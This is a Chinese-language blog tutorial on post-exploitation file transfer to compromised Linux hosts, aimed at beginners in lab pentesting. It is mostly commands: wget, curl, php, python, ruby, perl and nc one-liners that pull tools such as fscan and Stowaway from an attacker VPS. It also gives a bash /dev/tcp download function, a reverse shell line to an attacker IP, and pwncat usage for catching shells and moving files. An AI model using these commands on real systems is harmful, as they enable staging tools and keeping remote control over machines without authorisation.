前言
之前在p神的知识星球里发过一版,因为那里师傅们水平都比较高,所以只介绍了几种比较极端的下载方式,放博客上这个主要还是面对刚入门的师傅的,讲细节一些,所以先介绍一些比较入门的方法再分享比较高级的方法。
基础型
为什么在后渗透的时候需要下载文件呢,对于一般的情况,比如有网站服务的php网站,那我们可以直接写马连蚁剑,然后把文件拖进去就行了。需要传文件主要是因为打内网的时候需要传代理软件建立代理以及传fscan之类的工具,如果没有现成的网站服务想传文件就比较麻烦了,比如只是弹了个shell,这时我们就需要靠linux上一些现成的命令来下载文件了。
因为我自己是有vps的,有公网服务,所以我一般会直接把要传的文件放在网站服务的目录,这样直接访问”http://ip:port/文件”就可以访问到想下载的文件了,平时打内网的话要传的一般也就是fscan和Stowaway,fscan是拿来扫内网的,Stowaway是用来建立代理,如何建立代理可以看我之前写的内网代理搭建。
wget
wget是linux上的命令行的下载工具,也是平时用的最多的命令,春秋云镜上的环境都比较正常,一般这个命令都有,不会像之前那个比赛一样那么抽象。用法为(不指定端口的话就是默认网站服务的端口):
wget http://ip:port/文件
curl
curl命令除了用于访问网站也可以用于下载文件,用法为:
curl -O http://ip:port/文件
这两种是最常见的,还有一些命令比如nc ssh resync也可以用来下载文件,只是感觉用法比较抽象而且不是很实用,具体可以看看后渗透系列之下载文件(Linux篇)
php
如果你拿到shell的是一个php的站,一般来说是能直接写马然后连蚁剑的,用蚁剑直接传文件就行了,不过这里也介绍一下怎么用php命令来下载文件。
php -r "file_put_contents('保存到本地的路径', fopen('远程文件的URL', 'r'));"
python
如果你拿到shell的是一个python的站,可以用python执行代码实现文件下载:
python -c "import urllib.request;urllib.request.urlretrieve('远程文件的URL', '保存到本地的路径')"
ruby
如果环境里有ruby也可以用ruby执行代码下载文件:
ruby -e "require 'open-uri'; open('远程文件的URL') {|f| File.open('保存到本地的路径', 'wb') {|file| file.puts f.read} }"
perl
有些linux服务器里自带的就有perl语言,我们也可以用perl执行代码下载文件
perl -e "use LWP::Simple; getstore('远程文件的URL', '保存到本地的路径')"
有师傅肯定要问了,那用java可以实现这种功能吗,我试了下必须得指定库,不是很好用,没有啥通用的方法,这里就不分享了。
nc
nc有两个作用,一个是监听数据,一个是传输数据,所以我们也可以通过nc实现文件传输。
比如我想从vps向本地kali传一个test.txt,在vps上输入
nc -lvvp 9383 < test.txt
然后在本地kali输入
nc VPS_IP 9383 > test.txt
高级型
自定义Linux函数
linux里可以把一些重复使用的命令封装成一个集合,之后可以使用函数名调用,因此我们可以自己写一个download函数,大概原理就是使用/dev/tcp设备文件与服务器建立TCP连接,并发送HTTP请求获取文件内容,最后将文件内容打印到标准输出,最后把输出重定向就可以获得文件了。在命令行输入:
function DOWNLOAD() {
url=$1
proto="http://"
host=${url/$proto/}
server=${host%%/*}
path=${host#*/}
DOC=/${path// /}
HOST=${server/:*/}
PORT=${server/*:/}
[[ -n ${PORT} ]] || PORT=80
PORT=$(( PORT + 0 ))
exec 3<>/dev/tcp/${HOST}/${PORT}
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
while IFS= read -r line ; do
[[ "${line}" == $'\r' ]] && break
done <&3
nul='\0'
while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do
printf "%s${nul}" "${x}"
done <&3
exec 3>&-
}
接着回车
然后就可以使用自定义的DOWNLOAD函数下载文件了,输入
DOWNLOAD http://url:port/fscan >fscan
即可成功远程下载文件
缺点是同一套代码不同系统可能不适用,得不同环境不同写法,我这个在centos测试成功了,然后ubuntu下也适用:
其他环境不敢保证,同时取消自定义函数的命令:
unset DOWNLOAD
pwncat
pwncat是一款功能强大的反向Shell&BindShell处理工具,同时也是一个主要针对Linux系统为测试目标的后渗透漏洞利用开发平台,最近开发者已经加入了对windows系统的支持。
pwncat可以用于代替nc进行反弹shell的接收,pwncat可以拦截与远程shell的原始通信,并允许用户在远程主机上执行自动化操作,包括枚举、植入安装甚至权限升级。同时,pwncat还会自动优化shell,包括但不限于:
- 在远程 shell 中禁用历史记录
- 规范化 shell 提示符
- 寻找有用的二进制文件
- 尝试生成一个伪终端(pty)以进行完整的交互式会话
pwncat官方出了操作文档:https://pwncat.readthedocs.io/en/latest/commands/download.html,里面介绍了一些插件功能:
简单看了下功能分别是:
- Alias:命令取别名
- Back:从pwncat返回远程shell(按ctrl D可以从远程shell返回pwncat)
- Bind:绑定命令
- Connect:建立 pwncat 会话,实现反向和绑定 shell 的通信通道
- Download:通过利用 gtfobins框架定位受害主机上的文件读取器并通过管道将内容写回来实现文件读取
- Escalate:用于提权
- lcd:更改pwncat实例的本地工作目录
- load:从python包加载自定义pwncat模块
- Listen:创建一个新的后台侦听器以通过反向 shell 负载异步建立会话
- Listeners:管理活动和停止的侦听器
- lpwd:打印当前本地工作目录
- run:访问pwncat模块
- Info:获取指定模块的文档/帮助信息
- Search:搜索模块
- Use:进入模块的上下文
- Upload:通过gtfobins模块枚举远程主机上可打印或者可写二进制数据的本地文件以实现文件的上传,好处是上传通过与shell相同的连接进行,不需要格外的连接。
因此pwncat里有现成的文件上传插件以及一堆其他好用的功能,用于代替nc接收反弹的shell非常方便
下载路径:https://github.com/calebstewart/pwncat
pwncat需要3.9以上的Python版本,安装方式:
python3 -m pip install pwncat-cs -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com
或者
git clone git@github.com:calebstewart/pwncat.git
cd pwncat
python -m poetry install
#进入与外界隔离的虚拟环境
python -m poetry shell
我是用第二种方法安装的,首先输入python -m poetry shell,此时我们的命令前面多了一个(pwncat-cs-py3.10),会进入一个和外界隔离的虚拟环境
接着输入pwncat-cs -lp 9383就可以接收弹到9383端口上的shell,类似于nc -lvvp 9383
接着我们从本地的虚拟机弹个shell上去看看pwncat怎么操作的
bash -c 'bash -i >& /dev/tcp/x.x.x.x/9383 0>&1'
可以看到我们成功接收到了shell,有一个(local)来标志现在是pwncat界面不是远程shell界面
这时我们输入back,就可以成功从pwncat跳到远程shell上
按ctrl D可以从远程shell返回pwncat,我们来试试从远程主机下一个文件,从远程主机的desktop下一个flag.txt
download /home/fushuling/Desktop/flag.txt ./flag.txt
可以看到本地确实多了个flag.txt,接着试试远程上传文件,把本地的test.txt传到远程主机的桌面上
upload ./test.txt /home/fushuling/Desktop/test.txt
输入exit就可以退出了
msf
msf是可以通过执行生成的命令直接上线的,上线之后可以使用msf的upload功能上传文件,因为我msf用的不多,这里推荐一篇其他师傅的文章:一条命令上线MSF(Metasploit)-web_delivery模块